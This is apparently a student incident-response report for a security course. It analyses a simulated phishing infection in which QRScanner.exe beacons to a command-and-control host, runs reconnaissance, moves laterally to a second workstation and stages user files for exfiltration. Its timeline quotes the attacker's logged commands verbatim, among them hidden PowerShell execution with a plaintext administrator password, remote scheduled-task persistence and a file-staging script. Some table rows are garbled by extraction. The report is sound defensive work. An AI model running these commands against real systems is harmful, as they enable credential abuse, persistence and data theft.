

Incident Response Report

Case: QRScanner.exe

For: COP4931

Prepared by: Andy Hernandez

Date: December 12th, 2025

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Executive Summary

On June 25th, 2025, the SOC team flagged a malicious email sent to Liam Sherman (liamsherman@site.com) at around 11:17am. The email appeared to be legitimate as it was within Liam's scope of work; however, after further investigation, it was clear that the email had a suspicious link that sends users to sodium.ca which downloaded a malicious executable known as QRScanner.exe. It soon became apparent the initial point of compromise was the email being opened and clicking on the malicious link.

During the Investigation it was uncovered that Liam was not the only compromised workstation. Rosemary Cortez was also discovered to be infected with the malware. Workstations ACC-WIN10-16 (Liam), ACC-WIN10-13(Rosemary).

Regarding the IOCs collected from the proxy, Windows, IDS logs, and more, the C2 malware was linked to a threat group who created a custom C2 controller.

The next step is to minimize risk and potential loss of data by isolating the infected hosts, remove them from the network, collect memory and disk samples to evaluate, and lastly complete more security audits to ensure another vulnerability is not exploited and if it is we can minimize the risk / threat.

SUMMARY

- Incident Description – Executable malware was downloaded from a phishing email and infected two hosts.
- Date and time – June 25th, 2025
- Initial Detection: The initial detection occurred on June 25th, 2025, after the SOC team flagged a suspicious email
- Affected Systems/Data: ACC-WIN10-16, ACC-WIN10-13
- Estimated Impact: Financially and productively two hosts have been isolated, negative impact and minor financial loss.

TIMELINE OF EVENT

DATE TIME	USER	HOSTNAME	ARTIFACT	WHAT HAPPENED	SOURCE	COMMENTS
2025-06-25 11:19:32	ACC-WIN10-16	(172.16.6.116)	Proxy Logs	src_ip: 172.16.6.116:60487 dest_ip: 3.64.168.50:80 Method: GET Status: 200 url: http://sodium.ca/QRCodeScanner.exe	Splunk - Site_Proxy	Initial Download
2025-06-25 11:19:31			IDS Logs	Alert: 2018959 ET INFO PE EXE or DLL Windows file download HTTP Action: allowed src_ip: 3.64.168.50:80 dest_ip: 172.16.2.6:40970 File: /QRCodeScanner.exe	Splunk - IDS	IDS Alerts - File Download QRCodeScanner.exe
2025-06-25 11:19:31			IDS Logs	Alert: 2018959 ET INFO PE EXE or DLL Windows file download HTTP Action: allowed src_ip: 172.16.2.6:8080 dest_ip: 172.16.6.116:60485 File: /QRCodeScanner.exe	Splunk - IDS	IDS Alerts - File Download QRCodeScanner.exe
2025-06-25 11:19:38	ACC-WIN10-16	(172.16.6.116)	Proxy Logs	src_ip: 172.16.6.116:60487 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/register/acc-win10-16/windows	Splunk - Site_Proxy	Initial CnC Communication
2025-06-25 11:19:39	ACC-WIN10-16	(172.16.6.116)	Proxy Logs	src_ip: 172.16.6.116:60488 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/1	Splunk - Site_Proxy	CnC Communication
2025-06-25 11:19:39	acc-win10-16	16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: c:\users\Public\QRCodeScanner.exe	Splunk - Windows_Sysmon Logs	
2025-06-25 11:19:40	acc-win10-16	16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: c:\users\Public\QRCodeScanner.exe	Splunk - Windows_Sysmon Logs	
2025-06-25 11:19:40	acc-win10-16	16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: c:\users\Public\QRCodeScanner.exe	Splunk - Windows_Sysmon Logs	
2025-06-25 11:20:13	ACC-WIN10-16	(172.16.6.116)	Proxy Logs	src_ip: 172.16.6.116:60491 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/1	Splunk - Site_Proxy	CnC Communication
2025-06-25 11:20:13	acc-win10-16	16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: powershell &{\$password = ConvertTo-SecureString 'Simospace1!Simospace1!' -AsPlainText -Force; \$credential = New-Object System.Management.Automation.PSCredential ('Administrator', \$password); start-process powershell -credential \$credential -argumentlist '-noprofile -command &{Start-Process c:\users\Public\QRCodeScanner.exe -verb runas -windowstyle hidden};echo 'success!'}	Splunk - Windows_Sysmon Logs	Malicious Payload
2025-06-25 11:20:15	acc-win10-16	16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Splunk - Windows_Sysmon Logs	
2025-06-25 11:20:16	acc-win10-16	16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command &{Start-Process c:\users\Public\QRCodeScanner.exe -verb runas -windowstyle hidden}	Splunk - Windows_Sysmon Logs	Malicious Payload - Evasion

2025	ACC-WIN10-16				
-06-11:20:1	(172.16.6.117 - 6)	Proxy Logs	src_ip: 172.16.6.116:60492 dest_ip: 162.241.253.54:80 Method: POST Status: 200 url: http://saltybug.com/update	Splunk - Site_Proxy	Initial CnC POST Action
2025	ACC-WIN10-16				
-06-11:20:1	(172.16.6.117 - 6)	Proxy Logs	src_ip: 172.16.6.116:60493 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/register/acc-win10-16/windows	Splunk - Site_Proxy	Initial CnC Communication
2025	ACC-WIN10-16				
-06-11:20:1	(172.16.6.117 - 6)	Proxy Logs	src_ip: 172.16.6.116:60494 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/2	Splunk - Site_Proxy	CnC Communication
2025				Splunk -	
-06-11:20:1	acc-win10-25 7 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: "C:\Users\Public\QRCodeScanner.exe"	Windows_Sysmon Logs	
2025				Splunk -	
-06-11:20:1	acc-win10-25 9 16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Windows_Sysmon Logs	
2025				Splunk -	
-06-11:20:1	acc-win10-25 9 16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Windows_Sysmon Logs	
2025				Splunk -	
-06-11:20:1	acc-win10-25 9 16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Windows_Sysmon Logs	
2025	ACC-WIN10-16				
-06-11:20:5	(172.16.6.117 - 6)	Proxy Logs	src_ip: 172.16.6.116:60497 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/2	Splunk - Site_Proxy	CnC Communication
2025				Splunk -	
-06-11:20:5	acc-win10-25 1 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: systeminfo	Windows_Sysmon Logs	Recon of System
2025				Splunk -	
-06-11:20:5	acc-win10-25 3 16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Windows_Sysmon Logs	
2025	ACC-WIN10-16				
-06-11:20:5	(172.16.6.117 - 6)	Proxy Logs	src_ip: 172.16.6.116:60500 dest_ip: 162.241.253.54:80 Method: POST Status: 200 url: http://saltybug.com/update	Splunk - Site_Proxy	CnC POST Action
2025				Splunk -	
-06-11:20:5	acc-win10-25 6 16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Windows_Sysmon Logs	
2025	ACC-WIN10-16				
-06-11:20:5	(172.16.6.117 - 6)	Proxy Logs	src_ip: 172.16.6.116:60501 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/1	Splunk - Site_Proxy	CnC Communication
2025				Splunk -	
-06-11:20:5	acc-win10-25 9 16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Windows_Sysmon Logs	
2025	ACC-WIN10-16				
-06-11:21:3	(172.16.6.117 - 6)	Proxy Logs	src_ip: 172.16.6.116:60503 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/1	Splunk - Site_Proxy	CnC Communication
2025				Splunk -	
-06-11:21:3	acc-win10-25 1 16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Windows_Sysmon Logs	

2025	ACC-WIN10-16				
-06-11:21:3 25	(172.16.6.11 5 - 6)	Proxy Logs	src_ip: 172.16.6.116:60509 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/2	Splunk - Site_Proxy	CnC Communication
2025	ACC-WIN10-16				
-06-11:21:3 25	(172.16.6.11 5 - 6)	Proxy Logs	src_ip: 172.16.6.116:60510 dest_ip: 162.241.253.54:80 Method: POST Status: 200 url: http://saltybug.com/update	Splunk - Site_Proxy	CnC POST Action
2025	-06-11:21:3 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: net config workstation	Splunk - Windows_Sysmon Logs Recon of network
2025	-06-11:21:3 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Splunk - Windows_Sysmon Logs
2025	-06-11:21:3 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 3 Network connection Executable Info: C:\Users\Public\QRCodeScanner.exe	Splunk - Windows_Sysmon Logs
2025	ACC-WIN10-16				
-06-11:22:0 25	(172.16.6.11 8 - 6)	Proxy Logs	src_ip: 172.16.6.116:60512 dest_ip: 162.241.253.54:80 Method: GET Status: 200 url: http://saltybug.com/update/2	Splunk - Site_Proxy	CnC Communication
2025	ACC-WIN10-16				
-06-11:22:0 25	(172.16.6.11 8 - 6)	Proxy Logs	src_ip: 172.16.6.116:60513 dest_ip: 162.241.253.54:80 Method: POST Status: 200 url: http://saltybug.com/update	Splunk - Site_Proxy	CnC POST Action
2025	-06-11:22:0 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: cmd /c dir	Splunk - Windows_Sysmon Logs Running Dir Comman
2025	-06-11:22:5 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: wmic cpu get caption, deviceid, name, numberofcores, maxclockspeed, status	Splunk - Windows_Sysmon Logs Recon of hardware/resources
2025	-06-11:23:3 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: driverquery -v	Splunk - Windows_Sysmon Logs Recon of hardware/resources
2025	ACC-WIN10-16				
-06-11:26:5 25	(172.16.6.11 4 - 6)	Proxy Logs	src_ip: 172.16.6.116:60636 dest_ip: 162.241.253.54:80 Method: POST Status: 200 url: http://saltybug.com/update	Splunk - Site_Proxy	CnC POST Action
2025	-06-11:26:5 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: cmd /c ver	Splunk - Windows_Sysmon Logs Recon of OS
2025	-06-11:27:3 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: route print	Splunk - Windows_Sysmon Logs Recon of Route Table
2025	-06-11:28:0 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: tasklist -v	Splunk - Windows_Sysmon Logs Recon of tasks
2025	-06-11:28:4 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: ipconfig /all	Splunk - Windows_Sysmon Logs Recon of all Ips / Interfaces
2025	-06-11:30:0 25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: netsh advfirewall show allprofiles	Splunk - Windows_Sysmon Logs Recon of Firewall

2025	-06-11:30:425	acc-win10-5 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: netstat -ano	Splunk - Windows_Sysmon Logs	Recon - Displaying All Active Connections
2025	-06-11:31:225	acc-win10-5 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: net localgroup administrators	Splunk - Windows_Sysmon Logs	Recon of Admin Accounts
2025	-06-11:32:025	acc-win10-7 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: net user	Splunk - Windows_Sysmon Logs	Recon of Users
2025	-06-11:32:325	acc-win10-7 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: whoami /all /fo list	Splunk - Windows_Sysmon Logs	Identifying Current User
2025	-06-11:34:025	acc-win10-1 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: net view /all /domain	Splunk - Windows_Sysmon Logs	Recon of network on domain
2025	-06-11:35:325	acc-win10-1 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: powershell net groups 'Domain Computers' /domain	Splunk - Windows_Sysmon Logs	Recon of domain - groups
2025	-06-11:36:025	acc-win10-4 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: powershell net groups 'Domain Controllers' /domain	Splunk - Windows_Sysmon Logs	Recon of domain - groups
2025	-06-11:37:025	acc-win10-8 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: netstat -ano	Splunk - Windows_Sysmon Logs	Recon of Active Connections
2025	-06-11:37:425	acc-win10-3 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: net use \\acc-win10-13 /User:Administrator@site Simspace1!Simspace1! Computer: acc-win10-16.site.lan EventId: 4648 A logon was attempted using explicit credentials Target User: Target: SITE.LAN\Administrator	Splunk - Windows_Sysmon Logs	Lateral Movement - acc-win10-13
2025	-06-11:37:425	acc-win10-4 16.site.lan	Windows_Logs	EventId: 1 Process creation Executable Info: robocopy c:\users\Public \\acc-win10-13\CS\Windows\vss QRCodeScanner.exe	Splunk - Windows_Logs	Attempted Admin Logon
2025	-06-11:38:125	acc-win10-5 16.site.lan	Windows_Sysmon Logs	Computer: acc-win10-16.site.lan EventId: 4648 A logon was attempted using explicit credentials Target User: Target: SITE.LAN\Administrator	Splunk - Windows_Sysmon Logs	Copying Content to acc-win10-13
2025	-06-11:38:125	acc-win10-6 16.site.lan	Windows_Logs	Computer: acc-win10-16.site.lan EventId: 4648 A logon was attempted using explicit credentials Target User: Target: SITE.LAN\Administrator	Splunk - Windows_Logs	Attempted Admin Logon
2025	-06-11:38:125	acc-win10-6 16.site.lan	Windows_Logs	Computer: acc-win10-16.site.lan EventId: 4648 A logon was attempted using explicit credentials Target User: Target: SITE.LAN\Administrator	Splunk - Windows_Logs	Attempted Admin Logon
2025	-06-11:38:525	acc-win10-2 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: cmd.exe /c schtasks.exe /create /f /SC once /ST 23:59 /TN ThreadCleaner /TR C:\Windows\vss\QRCodeScanner.exe /RL highest /u Administrator@site /p Simspace1!Simspace1! /ru Administrator@site /rp Simspace1!Simspace1! /s acc-win10-13	Splunk - Windows_Sysmon Logs	Scheduled Task Created
2025	-06-11:38:525	acc-win10-2 16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: schtasks.exe /create /f /SC once /ST 23:59 /TN ThreadCleaner /TR C:\Windows\vss\QRCodeScanner.exe /RL highest /u Administrator@site /p Simspace1!Simspace1! /ru Administrator@site /rp Simspace1!Simspace1! /s acc-win10-13	Splunk - Windows_Sysmon Logs	Scheduled Task Created

2025				EventId: 1 Process creation Executable Info: schtasks /run /tn Splunk -		
-06- 11:39:25	acc-win10-16.site.lan	Windows_Sysmon Logs	ThreadCleaner /u Administrator@site /p Simspace1!Simospace1! /s acc-win10-13	Windows_Sysmon Logs	Scheduled Task Executed	
2025			EventId: 4624 Successful logon Logon-Type:LogonType 4			
-06- 11:39:25	acc-win10-16.site.lan	Windows_Logs	Computer: acc-win10-13.site.lan Target User: Target: site\Administrator	Splunk - Windows_Logs	Successful Admin Logon	
2025			EventId: 4634 An account was logged off Logon-			
-06- 11:39:25	acc-win10-16.site.lan	Windows_Logs	Type:LogonType 3 Computer: acc-win10-13.site.lan Target User: Target: site\Administrator	Splunk - Windows_Logs	Admin Logoff	
2025			EventId: 4634 An account was logged off Logon-			
-06- 11:39:25	acc-win10-16.site.lan	Windows_Logs	Type:LogonType 4 Computer: acc-win10-13.site.lan Target User: Target: site\Administrator	Splunk - Windows_Logs	Admin Logoff	
2025			EventId: 1 Process creation Executable Info: cmd /c copy	Splunk -		
-06- 11:40:25	acc-win10-16.site.lan	Windows_Sysmon Logs	c:\users\administrator\appdata\local\temp\QRCodeScanner.exe C:\Windows\vss\vixDiskMountServer.exe	Windows_Sysmon Logs	Renaming File - Evasion	
			EventId: 1 Process creation Executable Info: powershell			
			&{\$action = New-ScheduledTaskAction -Execute 'C:\Windows\vss\vixDiskMountServer.exe'; \$trigger = ""			
2025			New-ScheduledTaskTrigger -AtLogOn; Register-	Splunk -		
-06- 11:40:25	acc-win10-16.site.lan	Windows_Sysmon Logs	ScheduledTask -Action \$action -Trigger \$trigger -TaskName \"ThreadCleaner\" -User \"System\" -force}	Windows_Sysmon Logs	Scheduled Task - Persistence	
			EventId: 1 Process creation Executable Info: powershell			
			&{\$files = @(); gci c:\\users -exclude \"Public\" gci -			
			Recurse -exclude \"AppData\", \"*.lnk\", \"*.url\" -file			
2025			2>\$null foreach {\$files = \$files + \$_.FullName};\$file =	Splunk -		
-06- 11:41:25	acc-win10-16.site.lan	Windows_Sysmon Logs	\$files Get-Random; Copy-Item -Path \$file C:\Windows\vss\secret1.file -force; echo \$file}	Windows_Sysmon Logs	Identify Data and Exfiltration	
2025			Alert: 2033355 ET INFO Windows Powershell User-Agent			
-06- 11:44:25		IDS Logs	Usage Action: allowed src_ip: 172.16.2.6:46828 dest_ip: 162.241.252.54:80 File:	Splunk - IDS	IDS Alerts - PS Usage	
2025			Alert: 2033045 ET INFO POST to Double Slash in URI Action:			
-06- 11:44:25		IDS Logs	allowed src_ip: 172.16.2.6:46828 dest_ip: 162.241.252.54:80 File:	Splunk - IDS	IDS Alerts - POST Action Malicious IP	
2025				Splunk -		
-06- 11:45:25	acc-win10-16.site.lan	Windows_Sysmon Logs	EventId: 1 Process creation Executable Info: cmd /c del C:\Windows\vss\secrets.txt;echo \"success\"	Windows_Sysmon Logs	Successful Zip File Deletion	

Timeline Summary

- ACC-WIN10-16
 - 2025 – 06 – 25, 11:19:38 UTC:
 - ACC-WIN10-16 initiated a connection from their internal IP 172.16.6.116 to the destination IP 162.241.253.54
 - Connection was an HTTP GET request to <http://sodium.ca/QRCodeScanner> with a status 200 OK
 - Host downloaded a malicious executable
 - 2025 – 06 – 25, 11:19:39 UTC:
 - ACC-WIN10-16 initiated a connection to 162.241.253.54
 - Connection was an HTTP GET request to <http://saltybug.com/update/1>
 - Host is exhibiting command and control beaconing (CNC)

- 2025 – 06 – 25, 11:20:13 UTC:
 - ACC-WIN10-16 Windows Sysmon logs exhibited a created a process that contained a malicious payload
 - powershell &{\$password = ConvertTo-SecureString 'Simspace1!Simspace1!' -AsPlainText -Force; \$credential = New-Object
 - Attempting to extract password credentials
- 2025 – 06 – 25, 11:20:16 UTC:
 - ACC-WIN10-16 Windows Sysmon logs exhibited a created a process that contained a powershell command to hide a process
 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command &{\$Start-Process c:\users\Public\QRCodeScanner.exe -verb runas -windowstyle hidden}
 - Host is attempting to evade detection
- 2025 – 06 – 25, 11:22:09 UTC:
 - ACC-WIN-10-16 Windows Sysmon logs exhibited a process that showed reconnaissance
 - EventId: 1 Process creation Executable Info: cmd /c dir
 - Host is now trying to see all directories in 'C:' drive
- 2025 – 06 – 25, 11:22:16 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibited alert ID 1
 - EventId: 1 Process creation Executable Info: wmic cpu get caption, deviceid, name, numberofcores, maxclockspeed, status
 - Host is performing reconnaissance on system resources
- 2025 – 06 – 25, 11:27:31 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: route print
 - Host is enumerating route table
- 2025 – 06 – 25, 11:28:08 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: tasklist -v
 - Host is performing privilege reconnaissance on tasks
- 2025 - 06 – 25, 11:28:46 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: ipconfig /all
 - Host is performing privilege reconnaissance on IP addresses
- 2025 – 06 - 25, 11:30:02 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: netsh advfirewall show allprofiles
 - Host is performing privilege reconnaissance on firewall
- 2025 – 06 – 25, 11:30:45 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1

- EventId: 1 Process creation Executable Info: netstat -ano
- Host is performing privilege reconnaissance on network
- 2025-06-25, 11:31:25 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: net localgroup administrators
 - Host is performing privilege reconnaissance on user
- 2025-06-25, 11:32:07 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: net user
 - Host is performing reconnaissance on user
- 2025-06-25, 11:32:37 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: whoami /all /fo list
 - Host is performing privilege reconnaissance on user
- 2025-06-25, 11:34:01 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: net view /all /domain
 - Host is performing reconnaissance on domain
- 2025-06-25, 11:35:31 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: powershell net groups 'Domain Computers' /domain
 - Host is performing reconnaissance on groups within domain
- 2025-06-25, 11:37:43 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: net use \\acc-win10-13 /User:Administrator@site Simspace1!Simspace1!
 - Host is exhibiting lateral movement to ACC-WIN10-13
- 2025-06-25, 11:37:44 UTC:
 - ACC-WIN10-16 Windows Event log 4648
 - Computer: acc-win10-16.site.lan EventId: 4648 A logon was attempted using explicit credentials Target User: Target: SITE.LAN\Administrator
 - ACC-WIN10-16 attempting to log on to SITE.LAN\Administrator
- 2025-06-25, 11:38:15 UTC:
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: robocopy c:\users\Public \\acc-win10-13\\C\$\\Windows\\vss QRCodeScanner.exe
 - Host copying content and infecting ACC-WIN10-13
- 2025-06-25, 11:38:52
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1

- EventId: 1 Process creation Executable Info: cmd.exe /c schtasks.exe /create /f /SC once /ST 23:59 /TN ThreadCleaner /TR C:\Windows\vss\QRCodeScanner.exe /RL highest /u Administrator@site /p Simspace1!Simspace1! /ru Administrator@site /rp Simspace1!Simspace1! /s acc-win10-13
 - Host is creating scheduled task ThreadCleaner
- 2025 – 06 – 25, 11:38:53
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: schtasks.exe /create /f /SC once /ST 23:59 /TN ThreadCleaner /TR C:\Windows\vss\QRCodeScanner.exe /RL highest /u Administrator@site /p Simspace1!Simspace1! /ru Administrator@site /rp Simspace1!Simspace1! /s acc-win10-13
 - Host creating another scheduled task
- 2025 – 06 – 25, 11:39:25
 - ACC-WIN10-16 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: schtasks /run /tn ThreadCleaner /u Administrator@site /p Simspace1!Simspace1! /s acc-win10-13
 - Host is executing scheduled task thread cleaner
- ACC-WIN10-13
 - 2025 – 06 – 25, 11:39:26 UTC:
 - ACC-WIN10-13 Windows logs exhibiting Event ID 4624
 - EventId: 4624 Successful logon Logon-Type:LogonType 4 Computer: acc-win10-13.site.lan Target User: Target: site\Administrator
 - Attacker laterally moved to ACC-WIN10-13
 - 2025 – 06 – 25, 11:39:26 UTC:
 - ACC-WIN10-13 Windows logs exhibiting Event ID 4634
 - EventId: 4634 An account was logged off Logon-Type:LogonType 3 Computer: acc-win10-13.site.lan Target User: Target: site\Administrator
 - Attacker logged off ACC-WIN10-13
 - 2025 – 06 – 25, 11:39:26 UTC:
 - ACC-WIN10-13 Windows logs exhibiting Event ID 4624
 - EventId: 4624 Successful logon Logon-Type:LogonType 4 Computer: acc-win10-13.site.lan Target User: Target: site\Administrator
 - Attacker logged on to ACC-WIN10-13
 - 2025 – 06 – 25, 11:40:00 UTC:
 - Window Sysmon log
 - EventId: 1 Process creation Executable Info: cmd /c copy c:\users\administrator\appdata\local\temp\QRCodeScanner.exe C:\Windows\vss\vixDiskMountServer.exe
 - Attacker renaming scheduled task and attempting evasion
 - 2025 – 06 – 25, 11:40:40 UTC:

- ACC-WIN10-13 Windows Sysmon log exhibiting alert ID 1
- EventId: 1 Process creation Executable Info: powershell &{\$action = New-ScheduledTaskAction -Execute 'C:\Windows\vss\vixDiskMountServer.exe'; \$trigger = "" New-ScheduledTaskTrigger -AtLogOn; Register-ScheduledTask -Action \$action -Trigger \$trigger -TaskName \"ThreadCleaner\" -User \"System\" -force}
- Attacker running the scheduled task to obtain persistence on host
- 2025-06-25, 11:41:19 UTC:
 - ACC-WIN10-13 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: powershell &{\$files = @(); gci c:\users -exclude \"Public\" | gci -Recurse -exclude \"AppData\", \"*.lnk\", \"*.url\" -file 2>\$null | foreach {\$files = \$files + \$_.FullName}; \$file = \$files | Get-Random; Copy-Item -Path \$file C:\Windows\vss\secret1.file -force; echo \$file}
 - Attacker exfiltrating data
- 2025-06-25, 11:44:15 UTC:
 - ACC-WIN10-13 IDS log
 - Alert: 2033355 ET INFO Windows Powershell User-Agent Usage Action: allowed src_ip: 172.16.2.6:46828 dest_ip: 162.241.252.54:80 File:
 - IDS alerting PS usage
- 2025-06-25, 11:44:15 UTC:
 - ACC-WIN10-13 IDS log
 - Alert: 2033045 ET INFO POST to Double Slash in URI Action: allowed src_ip: 172.16.2.6:46828 dest_ip: 162.241.252.54:80 File:
 - IDS alerting data exfiltration
- 2025-06-25, 11:45:33, UTC:
 - ACC-WIN10-13 Windows Sysmon log exhibiting alert ID 1
 - EventId: 1 Process creation Executable Info: cmd /c del C:\Windows\vss\secrets.txt;echo \"success\"
 - Attacker successfully deleted file

Conclusion and Recommendations

After further review, the organization suffered an attack that successfully exfiltrated data and maintained persistence across two infected hosts, ACC-WIN10-16 and ACC-WIN10-13. The attack was successfully delivered through a phishing campaign where the attacker was able to move laterally.

Recommended actions for remediation include:

- Disconnect infected hosts from the network: Disconnect the infected hosts to ensure they cannot move laterally
- Wipe infected host and reimage the devices: Infected hosts must be cleaned to ensure no malware remains
- Conduct phishing email awareness training: There was no vulnerability that was exploited and the attacker gained foothold on the network with a social engineer tactic
- Conduct further security audits on the local network: ensure a thorough cleaning and ensure no vulnerabilities are left unseen.